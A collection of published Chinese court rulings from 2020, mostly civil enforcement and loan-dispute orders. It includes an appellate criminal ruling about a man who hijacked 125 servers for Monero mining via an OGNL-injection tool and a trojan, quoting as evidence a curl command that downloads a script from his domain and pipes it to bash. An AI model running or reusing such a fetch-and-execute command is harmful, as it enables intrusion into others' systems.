张佳欢附：相关法律条文一、《中华人民共和国合同法》第六十条当事人应当按照约定全面履行自己的义务。第一百一十四条当事人可以约定一方违约时应当根据违约情况向对方支付一定数额的违约金，也可以约定因违约产生的损失赔偿额的计算方法。第二百零七条借款人未按照约定的期限返还借款的，应当按照约定或者国家有关规定支付逾期利息。二、《中华人民共和国民事诉讼法》第一百四十四条被告经传票传唤，无正当理由拒不到庭的，或者未经法庭许可中途退庭的，可以缺席判决。
安徽省芜湖市鸠江区人民法院执 行 裁 定 书（2020）皖0207执2191号申请人:上海浦东发展银行股份有限公司芜湖分行，住所地芜湖市瑞祥路**皖江财富广场**，统一社会信用代码9134020071990385X5（1-1）。负责人晏大任，该分行行长。被执行人:张学锋，男，1979年10月28日出生，汉族，户籍地安徽省宁国市，现住安徽省宁国市。本院依据已发生法律效力的（2019）皖0207民初3237号民事判决书，于2020年8月5日向被执行人发出了执行通知书，责令被执行人履行生效法律文书确定的义务，现被执行人至今未履行生效法律文书确定的义务，据此，依照《中华人民共和国民事诉讼法》第二百四十二条规定，裁定如下：对被执行人张学锋银行存款40916.48元予以冻结、扣划。本裁定立即执行。审判员  张雄二〇二〇年八月五日书记员  刘勇
安徽省芜湖市镜湖区人民法院 执 行 裁 定 书 (2020）皖0202执1357号 申请执行人：奇瑞徽银汽车金融股份有限公司，住所地安徽省芜湖市沈巷电信大道（安康路）东，统一社会信用代码91340200686899339P。 法定代表人：曹运文，董事长。 委托诉讼代理人：蒋玉琦，女，该公司员工。 被执行人：周道凡，女，1984年10月5日出生，住广东省东莞市。 被执行人：谢志豪，男，1985年8月23日出生，住广东省东莞市。 奇瑞徽银汽车金融股份有限公司与周道凡、谢志豪借款合同纠纷一案，本院依法审理。该案件作出的（2019）皖0202民初8224号民事判决书已经发生法律效力。申请执行人于2020年4月1日依法向本院申请执行，要求被执行人给付案款49817.35元及迟延履行违约金，被执行人应承担执行费647元。在执行过程中采取下列执行措施： 1、2020年4月2日进行总对总查控，2020年4月20日进行二次查控，均未发现被执行人名下有可供执行的房产、股权等财产，已冻结被执行人周道凡、谢志豪名下银行存款账户，未发现足额银行存款，待查询冻结账户有较多余额再进行扣划操作； 2、2019年8月20日本院依法向被执行人车辆登记车辆管理机构所在地东莞市第二人民法院发出委托执行函，对被执行人周道凡所有的粤Ｓ×××××众泰牌小型普通客车车辆进行查封，且上述车辆于2019年8月29日已被我院查封； 3、2020年4月7日向被执行人张国峰发出限制消费令； 4、2020年7月27日由于被执行人仍未履行生效法律文书确定的义务，本院对上述查封车辆依法进行评估拍卖，且评估报告已依法送达，被执行人在规定期限内未提出异议，该车辆依法进入拍卖程序； 5、2020年8月21日我院在淘宝网公开拍卖“粤Ｓ×××××众泰牌小型普通客车”，经第一次、第二次拍卖均流拍，现申请执行人奇瑞徽银汽车金融股份有限公司向本院书面申请以第二次拍卖保留价19163.76元接受以物抵债； 6、2020年8月28日，本院将上述执行情况告知了申请执行人奇瑞徽银汽车金融股份有限公司，并与其进行了约谈，申请执行人对上述车辆处置无异议，故同意终结本次执行程序。 综上所述，因本案除申请执行人申请处置被执行人周道凡所有的粤Ｓ×××××众泰牌小型普通客车车辆外，本院冻结了被执行人周道凡、谢志豪的银行存款，申请人表示由于单笔存款数额较小，仍不足以结清，待查询冻结账户有较多余额再进行扣划操作。申请执行人对本院认定被执行人无其他可供执行的财产表示认可，申请执行人同意终结本次执行程序。依照《中华人民共和国民事诉讼法》第二百五十七条第（六）项、《最高人民法院关于适用〈中华人民共和国民事诉讼法〉的解释》第五百一十九条之规定，裁定如下： 终结本次执行程序。 终结本次执行程序后，申请执行人发现被执行人有可供执行财产的，可以再次申请执行，不受申请执行时效期限间的限制。 本裁定送达后立即生效。 执行员  杨运新 执行员  张彬彬 执行员  钱 萍 二〇二〇年八月二十八日 书记员  李 浩
湖北省十堰市茅箭区人民法院执 行 裁 定 书(2020)鄂0302执420号申请执行人：龚秀全，男，汉族，1983年6月13日出生，住十堰市茅箭区。被执行人：蔡永刚，男,1981年7月12日生，汉族，住湖北省十堰市茅箭区。被执行人：唐启立，男,1982年6月19日生，汉族，住竹溪县。本院依据(2019)鄂0302民初4379号判决书，在执行龚秀全与蔡永刚、唐启立买卖合同纠纷一案中，责令被执行人蔡永刚、唐启立按照该判决书履行义务，但被执行人未履行生效法律文书的义务。依照《中华人民共和国民事诉讼法》第二百四十二条、第二百四十三条、第二百四十四条的规定，裁定如下：冻结、划拨、提取被执行人蔡永刚、唐启立的存款、收入485000元及利息或者查封、扣押被执行人同等价值的财产。需要续行查封（扣押、冻结）的，应当在查封（扣押、冻结）期限届满前7日内向本院提出续行查封（扣押、冻结）的书面申请，履行义务后可以申请解除查封。本裁定立即执行。审判员 罗 军二〇二〇年八月五日书记员 刘永涛
宁夏回族自治区永宁县人民法院 民 事 裁 定 书 （2020）宁0121民初2471号 原告：银川鑫实物业服务有限公司永宁分公司。 负责人：马某。 委托诉讼代理人：纳某。 被告：季某，住宁夏回族自治区永宁县。 本院在审理原告银川鑫实物业服务有限公司永宁分公司（以下简称：鑫实物业公司永宁分公司）与被告季某物业服务合同纠纷一案中，原告鑫实物业公司永宁分公司于2020年8月17日向本院提出撤诉申请。 本院认为，原告鑫实物业公司永宁分公司的撤诉申请符合有关法律规定，应予准许。依照《中华人民共和国民事诉讼法》第一百四十五条第一款、第一百五十四条第一款第（五）项之规定，裁定如下： 准许原告银川鑫实物业服务有限公司永宁分公司撤诉。 案件受理费减半收取25.00元，由原告银川鑫实物业服务有限公司永宁分公司负担。 审判员 王 辉 二〇二〇年八月十七日 书记员 王灵娟 附本裁定书所适用的法律条文 《中华人民共和国民事诉讼法》 第一百四十五条宣判前，原告申请撤诉的，是否准许，由人民法院裁定。 人民法院裁定不准许撤诉的，原告经传票传唤，无正当理由拒不到庭的，可以缺席判决。 第一百五十四条裁定适用于下列范围： （一）不予受理； （二）对管辖权有异议的； （三）驳回起诉； （四）保全和先予执行； （五）准许或者不准许撤诉； （六）中止或者终结诉讼； （七）补正判决书中的笔误； （八）中止或者终结执行； （九）撤销或者不予执行仲裁裁决； （十）不予执行公证机关赋予强制执行效力的债权文书； （十一）其他需要裁定解决的事项。 对前款第一项至第三项裁定，可以上诉。
广东省高级人民法院民 事 裁 定 书（2018）粤民申5560号再审申请人（一审原告、二审上诉人）：杨通见，男，1967年7月19日出生，汉族，住广东省佛山市高明区。委托诉讼代理人：崔建珍，广东金腾律师事务所律师。委托诉讼代理人：刘文英，广东金腾律师事务所律师。被申请人（一审被告、二审被上诉人）：陈伍仔，男，1969年8月13日出生，汉族，住广东省佛山市高明区。再审申请人杨通见因与被申请人陈伍仔房屋租赁合同纠纷一案，不服广东省佛山市中级人民法院（2017）粤06民终8817号民事判决，向本院申请再审。本院依法组成合议庭对本案进行了审查，现已审查终结。杨通见申请再审称：（一）杨通见并无阻止案涉房屋验收的故意，二审法院采信案外人严聂聪与杨通见的电话录音，但未就该录音的真实性和完整性进行审查，导致事实认定不清。而且，杨通见二审已提交证据证明陈伍仔因涉嫌犯罪被采取刑事强制措施，已不能继续履行在建工程的相关施工合同，无法组织各施工单位对在建设工程进行验收，二审法院对上述证据未予质证，影响案件公正审理。（二）杨通见已经完成案涉房屋主体工程的土建部分，完成了初检及后续整改工程，并将案涉房屋相关施工资料全部移交佛山市高明区合水建筑工程公司。由于陈伍仔将案涉工程的水电、消防、环保、市场基础设施等项目发包给他人进场施工，且上述发包项目至今未完成竣工验收，因此案涉工程至今未能通过综合验收的责任完全在于陈伍仔，二审法院将案涉工程未能通过综合验收的责任归咎于杨通见，没有事实依据。（三）陈伍仔二审后因犯污染环境罪被判处3年有期徒刑，罚金4万元，且其名下所有不动产包括案涉工程等已被法院查封。陈伍仔已经不能履行案涉租赁合同，杨通见有权依照合同法有关规定行使不安抗辩权解除合同。同时，案涉租赁合同约定的房屋租赁用途为商业，明显改变了案涉土地的住宅用途，案涉租赁合同目的无法实现，杨通见亦有权解除合同。（四）案涉租赁合同约定的租赁房屋属于待建房屋，根据房屋租赁公平、自愿原则，在案涉房屋建设并交付租赁前，杨通见有权解除双方关于未来的房屋租赁关系。综上，杨通见请求依照《中华人民共和国民事诉讼法》第二百条规定再审。本院经审查认为，本案系房屋租赁合同纠纷。陈伍仔、杨通见签订的《租赁合同》对租金标准、租赁期限等予以明确，双方的主要权利义务符合房屋租赁合同的特点。虽然《租赁合同》签订时作为租赁物的案涉房屋尚未建成，但在建房屋已经取得建设工程规划许可，不存在法定无效情形，二审法院据此认定案涉《租赁合同》合法有效，对双方当事人均具有法律约束力并无不当。根据一、二审法院查明事实，案涉房屋系由杨通见挂靠佛山市高明合水建筑工程公司施工建设。杨通见既是案涉房屋建设工程的实际施工人，又是案涉房屋的承租人，杨通见、陈伍仔之间就案涉房屋分别形成了建设工程施工合同关系和房屋租赁合同关系。杨通见以出租人陈伍仔拖延办理案涉房屋竣工验收手续导致房屋迟延交付为由，诉请解除案涉《租赁合同》。陈伍仔则抗辩杨通见未配合提供其持有的土建部分的验收资料，导致案涉房屋无法办理竣工验收。因此，杨通见作为实际施工人，应就其已向陈伍仔提交了土建部分相关资料以备验收承担举证责任。本案中，杨通见既未举证证明案涉房屋土建工程已按照相关行政部门要求整改完毕，亦未举证证明其已将土建工程的相关资料移交给陈伍仔，在此情形下，杨通见主张陈伍仔拖延办理案涉房屋竣工验收缺乏事实依据，二审法院据此对其关于解除合同的诉讼请求不予支持并无不当。陈伍仔虽在二审期间因涉嫌犯罪被采取刑事强制措施，但并不影响本案基本事实认定。根据杨通见申请再审提交的材料，陈伍仔因刑事犯罪导致案涉房屋被查封的事实发生于二审判决之后，不属于本案审查范围，杨通见以此为由申请再审依据不足，其可依法通过另诉主张。至于杨通见申请再审提出的其他问题，二审法院已根据双方当事人的诉辩意见及提交的证据对相关事实进行了认定，处理结果并无不当。综上，杨通见的再审申请不符合《中华人民共和国民事诉讼法》第二百条规定的情形，依照《中华人民共和国民事诉讼法》第二百零四条第一款，《最高人民法院关于适用〈中华人民共和国民事诉讼法〉的解释》第三百九十五条第二款的规定，裁定如下：驳回杨通见的再审申请。审判长  佘琼圣审判员  贾 密审判员  许东平二〇二〇年八月十二日法官助理武晓晖书记员周毓敏
广东省东莞市第一人民法院行 政 裁 定 书(2020)粤1971行审5108号申请执行人东莞市********，住所地：广东省东莞市**************，统一社会信用代码：12441900MB2D224320。法定代表人张盈，该中心主任。委托代理人骆庆林，该中心工作人员。委托代理人叶汝坪，该中心工作人员。被执行人周洪，男，1982年01月25日出生，汉族，身份证住址：江西省高安市*********，公民身份号码：362************179。申请执行人东莞市********向本院申请强制执行其于2019年5月9日作出的编号190241132号《东莞市*****桥通行年票费催缴决定书》。本院经审查认为，申请执行人作出的上述《东莞市*****桥通行年票费催缴决定书》事实清楚、适用法律、法规正确、程序合法，已发生法律效力。申请执行人于2019年11月8日公告送达上述《东莞市*****桥通行年票费催缴决定书》，并经依法催告后，被执行人逾期未缴纳欠费。申请执行人申请被执行人欠缴2014年10月22日至2016年12月31日期间机动车辆路桥通行年票费1755元。申请执行人的申请符合《中华人民共和国行政诉讼法》第九十七条、《中华人民共和国行政强制法》第五十三条和《最高人民法院关于适用〈中华人民共和国行政诉讼法〉的解释》第一百五十五条第一款的规定。本院依照《最高人民法院关于适用〈中华人民共和国行政诉讼法〉的解释》第一百六十条的规定，裁定如下：对申请执行人东莞市********向本院申请强制执行其作出的编号为190241132号《东莞市*****桥通行年票费催缴决定书》中被执行人周洪的粤S.059**车辆欠缴机动车辆路桥通行年票费1755元，本院准予强制执行。申请执行案件的执行费用，由被执行人周洪承担。审判长  余润忠审判员  何嘉玲审判员  王斯斯二〇二〇年八月十七日书记员  尹雪儿
浙江省长兴县人民法院执 行 裁 定 书（2020）浙0522执1873号之一申请执行人:浙江长兴三泰建材科技有限公司，住所地长兴县洪桥镇陈桥村，组织机构代码:072899932。法定代表人:周伟伟。被执行人:中达建设集团股份有限公司，住所地浙江省象山县丹城镇育才路**，组织机构代码:145004969。法定代表人:齐明春。本院于2020年6月28日立案执行申请执行人浙江长兴三泰建材科技有限公司与被执行人中达建设集团股份有限公司买卖合同纠纷一案，申请执行标的额1135065.62元。本院在执行过程中已采取了以下执行措施：1、本院通过司法专邮形式向被执行人邮寄送达执行通知书、告知书、限制高消费令、财产申报令、廉政监督卡、传票，被执行人未按执行通知的期限予以履行。2、本院通过网络查控系统查询了被执行人名下的银行存款信息，发现被执行人名下银行存款账户均被法院多次冻结，申请执行人表示无需冻结。3、本院通过网络查控系统查询了被执行人名下的车辆登记信息，发现被执行人名下车辆均被法院多次查封，申请执行人表示无需查封。4、本院通过网络查控系统查询了被执行人名下的房产登记信息，发现被执行人名下不动产均被法院多次查封，申请执行人表示无需查封。5、本院已向浙江太湖新城实业投资有限公司送达了协助执行通知书，但二期工程尚未审计结束，具体时间不详，暂无法协助执行。6、本案已执行到位244700元，并已发放申请执行人。7、本院对被执行人采取了限制高消费措施,并将被执行人纳入全国失信人员名单。截止到2020年8月28日，本案申请执行标的金额为1135065.62元，已执行到位金额244700元，尚未清偿金额890365.62元。综上，经本院穷尽执行措施未发现被执行人目前有其他可供执行财产。本院已通过约谈的方式将已采取的执行措施及财产调查的结果告知了申请执行人，申请执行人予以认可且表示无法提供被执行人其他可供执行的财产线索，并同意本院对本案终结本次执行程序。依照《最高人民法院关于适用的解释》第五百一十九条规定，裁定如下：终结（2020）浙0522执1873号案件的本次执行程序。申请执行人发现被执行人有可供执行的财产的，可以申请恢复执行。本裁定送达后即发生法律效力。审判员 沈 侃二〇二〇年八月二十八日书记员 王建兵
四川省乡城县人民法院 执 行 裁 定 书 （2020）川3336执55号 申请执行人：甲教，男，藏族，1965年3月1日生，住四川省乡城县。 被执行人：邹晓梅，女，藏族，1969年11月11日生，住四川省乡城县。 被执行人：四郎拉姆，女，藏族，1949年7月25日生，住四川省康定县。 申请执行人甲教申请执行邹晓梅、四郎拉姆借款纠纷一案。依据本院于2020年5月11日作出的已生效（2020）川3336民初40号民事判决书，权利人甲教于2020年6月28日向本院申请执行，申请执行标的金额210000元。本院于2020年6月28日依法立案执行。 本院依法向被执行人邹晓梅、四郎拉姆发出执行通知书，并对其采取查封个人银行账户等强制措施，责令被执行人履行偿还借款的义务。执行过程中，申请执行人与被执行人双方当事人于2020年7月22日达成执行和调协议，约定本案所涉欠款由邹晓梅一人偿还，从2020年8月1日起至2032年4月30日每月划拨被执行人邹晓梅在中国农业银行股份有限公司乡城支行营业部储蓄的银行存款人民币1500元（大写人民币壹仟伍佰元整）到申请人甲教在中国农业银行股份有限公司乡城支行营业部开设的账户。 本院认为，申请执行人与被执行人双方当事人自愿达成长期履行和调协议，且申请执行人向法院申请撤回执行。据此，依照《中华人民共和国民事诉讼法》第二百五十七条第一项；《最高人民法院关于适用的解释》第四百六十六条的规定，裁定如下： 终结申请执行人甲教申请执行被执行人邹晓梅、四郎拉姆借款合同纠纷（2020）川3336执55号一案的执行。 本裁定送达后即发生法律效力。 审判长  程文龙 审判员  丁 斌 审判员  杨 锋 二〇二〇年八月三日 （院印） 书记员  李 雪
浙江省绍兴市中级人民法院 刑 事 裁 定 书 （2020）浙06刑终196号 原公诉机关绍兴市越城区人民检察院。 上诉人（原审被告人）史焜，男，1989年1月17日出生于江西省南昌市，汉族，大学文化，住江西省南昌市青云谱区。因本案于2018年11月8日被刑事拘留，同年12月7日变更为取保候审。2019年12月2日被继续取保候审。现取保候审于居住地。 辩护人沈沛敏，浙江越光律师事务所律师。 绍兴市越城区人民法院审理绍兴市越城区人民检察院指控被告人史焜犯非法控制计算机信息系统罪一案，于2020年6月16日作出（2019）刑初1126号刑事判决。原审被告人史焜不服，向本院提出上诉。本院受理后依法组成合议庭，经阅卷、讯问原审被告人史焜，听取辩护人的辩护意见，认为本案基本事实清楚，决定不开庭审理。现已审理终结。 原判认定：2018年6月至11月期间，被告人史焜在江西省南昌市青云谱区××路的家里利用名为“ｓｔｒ2-045”的漏洞工具扫描ＩＰ地址，非法侵入存在漏洞的服务器种植名为“ｒｏｏｔ.ｂｉｎ”的木马程序，并通过名为“ｎｏｏｄｌｉｎｕｘｖｌ.0.2”的主控端程序控制被侵入服务器，输入相应的指令，控制他人计算机下载并运行名为“ｒｌｘ”的挖矿程序挖掘“门罗币”，以此牟利。经鉴定，“ｓｔｒ2-045”程序能通过获取输入参数并赋值的方式对目标网址进行ＯＧＮＬ表达式注入漏洞并执行相关命令。“ｎｏｏｄｌｉｎｕｘｖｌ.0.2”软件能通过发送数据包的方式实现连接目标主机，直接访问目标主机上的文件系统，并能进行上传、下载、删除、文件重命名以及打开Ｓｈｅｌｌ终端执行Ｓｈｅｌｌ命令等操作。 经查，2018年6月至11月期间，被告人史焜非法控制包括位于绍兴市越城区××路××号的浙江帅丰电器股份有限公司的计算机信息系统125台。 2018年11月8日，被告人史焜在江西省南昌市青山湖区××路××号被警察抓获归案。案发后，已退赃。 原判确认了相应的证据。 原审依据相关法律，判决：一、被告人史焜犯非法控制计算机信息系统罪，判处有期徒刑三年,缓刑三年六个月，并处罚金人民币五千元；二、公诉机关移送本院扣押的人民币20000元，其中10080元系违法所得，没收后上缴国库，其中5000元抵作罚金，余款4920元向被告人发还；公诉机关移送本院扣押的电脑主机一台（暂存于绍兴市越城公安分局刑侦大队）系作案工具，予以没收；手机一部，系被告人史焜合法财物，予以发还。 原审被告人史焜上诉及其辩护人提出，1、本案中没有证据表明其对帅丰公司的阿里云服务器进行了手工操作，在史焜的主控制端的列表上没有出现帅丰公司的阿里云服务器的IP地址。无证据证实被告人史焜控制过帅丰公司的计算机信息系统，整个犯罪结果地不在绍兴市，绍兴市越城区人民法院对本案没有管辖权。2、原审判决认定事实不清、证据不足，原判认定被告人史焜犯罪的电脑台数是按史焜电脑中提取的主控制端列表上出现的IP地址来算的，这样算的前提是只有控制了电脑才会把他的IP地址反映在这个列表上，但该事实无证据证实。从史焜的犯罪过程看，他是扫描发现漏洞以后才会手工植入病毒进行控制。即扫描以后发现这个IP地址出现在列表上就不能当然认为他控制的台数就有这么多。公安机关勘察远程控制端有三个端口，而被告人史焜始终只承认使用了其中的“1024”端口，对另两个从未使用。故本案最多只能认定控制端上一个端口即“1024”的计算机或计算机系统台数。从控制端的列表上看所有的IP地址他的操作时间是无法进行显示的，只能显示这个控制端开始操作时间2017年4月7日和最后操作时间2018年10月26日，这个显示台数有多少在这个时间段操作，有多少在这个时间段以外操作也无法得到肯定。请求二审改判。 经二审审理查明的事实与一审认定的一致，并对原判认定的证据予以确认。 关于上诉人史焜上诉及其辩护人提出，没有对IP为116.62.195.193的服务器实施控制，整个犯罪结果地不在绍兴市，一审法院对本案没有管辖权。经查，在案证据足以认定IP为116.62.195.193的服务器被史焜实际控制，理由如下：1.IP为116.62.195.193的服务器系浙江帅丰电器服务有限公司向阿里云计算有限公司租用，租用时间2017年12月起。2.被害单位员工王昊统陈述公司租用的服务器最早于2018年10月8日出现异常登录，此后该服务器于2018年10月18日、19日也被黑客攻击过，在重组阿里云库后问题才得以解决。3.阿里云计算有限公司出具情况说明在2018年10月8日IP为116.62.195.193的服务器曾告警受害者受害主机执行curl-o-http：//ss.sydwzl.cn/a7(bash(/dev/null2(&1&的恶意指令。4.执行恶意指令中的“Sydwzl”域名为史焜所有并使用，史焜电脑中有执行指令中的“a7”文件。5.史焜电脑“sydwzl.cn.log”文件中出现IP为“116.62.195.193”服务器的连接信息，连接时间为2018年10月8日。6.史焜供述其把挖矿木马病毒放在域名为a.ssvs.space和a.sydwzl.cn里面。上述证据结合鉴定意见，足以证实史焜对IP为116.62.195.193的服务器进行了控制。原审被告人及辩护人提出史焜未对该IP实施控制的意见不成立，二审不予采信。 关于上诉人史焜及其辩护人提出，原判认定史焜实际控制的计算机信息系统台数事实不清，证据不足的上诉意见，经查，原判认定上诉人史焜控制125台成立。理由如下：第一，史焜认可其控制计算机信息系统的事实，其在公安机关讯问阶段多次稳定供述其控制的计算机信息系统100多台。第二，史焜当庭对公安机关从其远程主机端界面出现的69台予以认可。第三，经核对剔除重复台数，公诉机关指控的125台中有124台出现在被告人史焜使用控制的远程主机端界面。第四，被告人史焜认可主控端界面中的前69台，对同一界面下拉菜单中的后55台不予认可，属于翻供行为。第五，史焜在庭审中承认其对主机端界面中的IP进行过手动控制。综上，史焜电脑主机端出现的124个IP加上“116.62.195.193”的IP，总计125台计算机信息系统为史焜非法控制。上诉理由不能成立，应予驳回。 本院认为，上诉人史焜违反国家规定，采用技术手段对计算机信息系统实施非法控制，情节特别严重，其行为已构成非法控制计算机信息系统罪，原审判决定罪正确，量刑适当，审判程序合法。原审被告人史焜上诉及其辩护人提出的意见不能成立。本院不予采纳。依照《中华人民共和国刑事诉讼法》第二百三十六条第一款第（一）项之规定，裁定如下： 驳回上诉，维持原判。 本裁定为终审裁定。 审判长  钱耀炯 审判员  袁建国 审判员  梁赛群 二〇二〇年八月三十一日 书记员  顾梦娜
成都市武侯区人民法院 民 事 判 决 书 （2020）川0107民初6055号 原告：张弛，男，1971年8月13日出生，汉族，住成都市青羊区。 委托诉讼代理人：蒲艳，四川雄谟律师事务所律师。 委托诉讼代理人：沈雷，四川雄谟律师事务所律师。 被告：李学荣，男，1967年12月30日出生，汉族，住成都市武侯区。 原告张弛与被告李学荣借款合同纠纷一案，本院于2020年4月9日受理后，依法适用简易程序于2020年7月31日公开开庭进行审理。原告张弛委托诉讼代理人蒲艳到庭参加诉讼。被告李学荣经本院合法传唤无正当理由拒不到庭参加诉讼，本院依法缺席审理。本案现已审理终结。 原告张弛向本院提出诉讼请求：判令被告向原告归还借款100万元并从2015年10月21日按年利率24%支付利息。事实和理由：2014年10月21日，被告在原告处借到100万元，并签订了《借款合同》。但借款到期后，被告未按约向原告还款，故诉至法院。 被告李学荣未作答辩。 经本院审理认定以下事实： 2014年10月21日，原、被告签订《借款合同》约定：张弛向李学荣出借100万元，借款期限1年，年利率25%，按月付息到期还本。2014年11月10日，张弛通过银行转账分两次向李学荣支付50万元、50万元。 庭审中经本院询问，张弛称李学荣在借款后未向张弛还本付息。 以上事实有当事人身份信息、借款合同、转款凭证及当事人陈述等证据在案佐证。 本院认为，被告李学荣经本院合法传唤无正当理由拒不到庭参加诉讼，视为放弃诉讼权利。张弛提交的证据能够证明李学荣在张弛处借到100万元的事实，本院予以确认。 原、被告约定的利息超过了年利率24%，原告起诉时主动调整为年利率24%,符合《最高人民法院关于审理民间借贷案件适用法律若干问题的规定》第二十六条、第二十八条之规定，本院予以支持。原告主张利息从2015年10月21日起算，不违反双方合同约定，本院予以支持。 依照《中华人民共和国合同法》第六十条，《最高人民法院关于审理民间借贷案件适用法律若干问题的规定》第二十六条、第二十八条，《中华人民共和国民事诉讼法》第六十四条、第一百四十四条之规定，判决如下： 一、被告李学荣于本判决生效之日起十五日内向原告张弛归还借款本金100万元，并以未归还本金为基数，从2015年10月21日起至本息付清之日止，按照年利率24%支付利息； 二、驳回原告张弛其它诉讼请求。 如果未按本判决指定的期间履行给付金钱义务，应当依照《中华人民共和国民事诉讼法》第二百五十三条规定，加倍支付迟延履行期间的债务利息。 案件受理费14160元，因适用简易程序审理减半收取7080元，由被告李学荣负担。 如不服本判决，可以在判决书送达之日起十五日内，向本院递交上诉状，并按照对方当事人或者代表人的人数提出副本，上诉于四川省成都市中级人民法院。 审判员 杜 伟 二〇二〇年八月十二日 书记员 张晓霜
北京市西城区人民法院民 事 判 决 书(2020)京0102民初19432号原告：平安银行股份有限公司北京分行,营业场所北京市西城区复兴门内大街158号。负责人：鞠维萍，行长。委托诉讼代理人：张传凤，北京市阳光律师事务所律师。被告：李振远，男，1987年5月2日出生，汉族，户籍地河北省河间市。原告平安银行股份有限公司北京分行（以下简称平安银行）与被告李振远金融借款合同纠纷一案，本院立案后，依法适用简易程序，公开开庭进行了审理。原告平安银行的委托诉讼代理人张传凤到庭参加诉讼，被告李振远经本院依法传唤，无正当理由未参加诉讼，本院依法缺席审理。本案现已审理终结。原告平安银行向本院提出诉讼请求：1.判令被告偿还原告截至2020年4月26日的借款本金128709.14元、利息（含罚息）8496.39元、复利298.90元以及自2020年4月27日起至实际清偿之日止的利息（含罚息）、复利（以实际欠款为基数，按照合同约定的标准计算）；2.被告承担本案的案件受理费、公告费。事实与理由：原、被告签订了《个人信用贷款合同》，约定原告向被告提供借款，并约定了贷款利率、还款方式、违约责任等内容。原告发放贷款后，被告未按约定偿还贷款本息，构成违约。原告为维护其权利，起诉至法院。被告李振远未到庭应诉，亦未提交书面答辩意见。原告平安银行向本院提交以下证据材料：1.被告身份证复印件；2.《个人信用贷款申请表》；3.《个人信用贷款合同》；4.个人贷款出账凭证或个人贷款确认书；5.对账单。被告李振远未向本院提交证据材料。经本院庭审质证，平安银行提交的上述证据符合有效证据形式要求，已形成完整证据链,故本院对平安银行提交证据的真实性、关联性均予以确认。根据到庭当事人的陈述以及经审查确认的证据，本院认定事实如下：被告向原告申请贷款，原告审核同意后，双方签订《个人信用贷款合同》。实际贷款金额、起止日期、执行利率以个人贷款出账凭证或个人贷款确认书为准；贷款到期或提前到期，被告未按照约定偿还贷款的，原告有权根据实际逾期天数从逾期之日起对贷款本金按照合同约定的利率加50%计收罚息，对于不能按时支付的利息，按罚息利率计收复利；有违约事件发生时，原告有权宣布贷款提前到期，要求被告立即偿还部分或全部授信本金、利息及费用，并自违约事件发生之日起，对已发生的全部授信本金按罚息利率计收罚息，直至被告清偿全部授信本金，费用包括但不限于原告为实现债权而支付的律师费、诉讼费、仲裁费、差旅费、公告费、送达费、执行费、过户费等所有费用；在履行合同过程中所发生的争议，由双方协商解决，协商不成的，可向原告所在地人民法院提起诉讼……2017年7月14日，原告向被告发放贷款500000元，贷款期限36个月。原告放款后，被告未按约定按时足额偿还贷款本息，还款出现逾期。截至2020年8月20日，被告案涉借款合同项下尚欠借款本金48709.14元，利息（含罚息）14357.59元、复利1015.13元。本院认为：原、被告签订的《个人信用贷款合同》属双方真实意思表示，未违反法律、行政法规的强制性规定，亦无其他致使合同无效的情形，应属有效民事合同。依法成立的合同，对双方当事人均具有法律约束力，当事人应按照合同的约定全面履行义务。原告按照合同约定向被告发放贷款，被告应依约如期偿还借款本息，其逾期偿还借款本息的行为，已经构成违约，应当承担相应的违约责任。原告现起诉要求被告立即偿还全部借款本金，并支付相应利息、罚息和复利的诉讼请求，符合合同约定及相关法律规定，本院予以支持。综上所述，依照《中华人民共和国合同法》第六十条第一款、第一百零七条、第二百零五条、第二百零六条、第二百零七条，《中华人民共和国民事诉讼法》第九十二条、第一百四十四条之规定，判决如下：被告李振远于本判决生效之日起十日内偿还原告平安银行股份有限公司北京分行截至2020年8月20的借款本金48709.14元，利息（含罚息）14357.59元、复利1015.13元，以及自2020年8月21日起至实际付清之日止的利息（含罚息）、复利（以实际欠款为基数，按《个人信用贷款合同》约定的标准计算）。如未按本判决指定的期间履行给付金钱义务，应当按照《中华人民共和国民事诉讼法》第二百五十三条之规定，加倍支付迟延履行期间的债务利息。案件受理费1525元及公告费（以实际发生为准），由被告李振远负担（于本判决生效后七日内交纳）。如不服本判决，可在判决书送达之日起十五日内，向本院递交上诉状，并按对方当事人的人数提出副本，交纳上诉案件受理费，上诉于北京市第二中级人民法院。如在上诉期满后七日内未交纳上诉案件受理费的，视为放弃上诉权利。审 判 员  周 韬二〇二〇年八月三十一日法官助理  刘玥彤书 记 员  李 茹
山东省青岛市市北区人民法院民 事 裁 定 书（2020）鲁0203财保1069号申请人：中国对外建设青岛有限公司，住所青岛市市**上清路**。法定代表人：焦志刚，执行董事兼总经理。被申请人：青岛市北城市建设投资有限公司，，住所青岛市市**辽阳西路**907申请人中国对外建设青岛有限公司向本院申请诉前财产保全，请求保全被申请人银行存款200万元或其他等值财产，并以其购买的中国平安财产保险股份有限公司诉讼财产保全责任险（保单号11176003901023991583）提供担保。本院经审查认为，申请人的申请符合有关法律规定，依照《中华人民共和国民事诉讼法》第一百条、第一百零二条、第一百零三条第一款的规定，裁定如下：保全被申请人青岛市北城市建设投资有限公司银行存款2000000元或其他等值财产。本裁定立即开始执行。如不服本裁定，可以向本院申请复议一次，复议期间不停止裁定的执行。申请人在人民法院采取保全措施后三十日内不依法提起诉讼或者申请仲裁的，本院将依法解除保全。审判员  李婉君二〇二〇年八月十九日书记员  孙闻林
宁夏回族自治区银川市金凤区人民法院民事裁定书（2020）宁0106民初7962号原告：王某，住宁夏回族自治区银川市。被告：银某，经营场所：宁夏回族自治区银川市兴庆区。经营者：何某，住宁夏回族自治区银川市。被告：何某，住宁夏回族自治区银川市金凤区。被告：锁某，住甘肃省白银市。原告王某与被告银某、何某、锁某民间借贷纠纷一案，本院于2020年8月12日立案后，依法适用小额诉讼程序。本院经审查认为，本案案情复杂，不宜适用小额诉讼程序，依照《最高人民法院关于适用〈中华人民共和国民事诉讼法〉的解释》第二百八十条、《全国人民代表大会常务委员会关于授权最高人民法院在部分地区开展民事诉讼繁简分流改革试点工作的决定》，裁定如下：本案转为简易程序。审判员 李雅菲 二〇二〇年八月十二日书记员 王利平
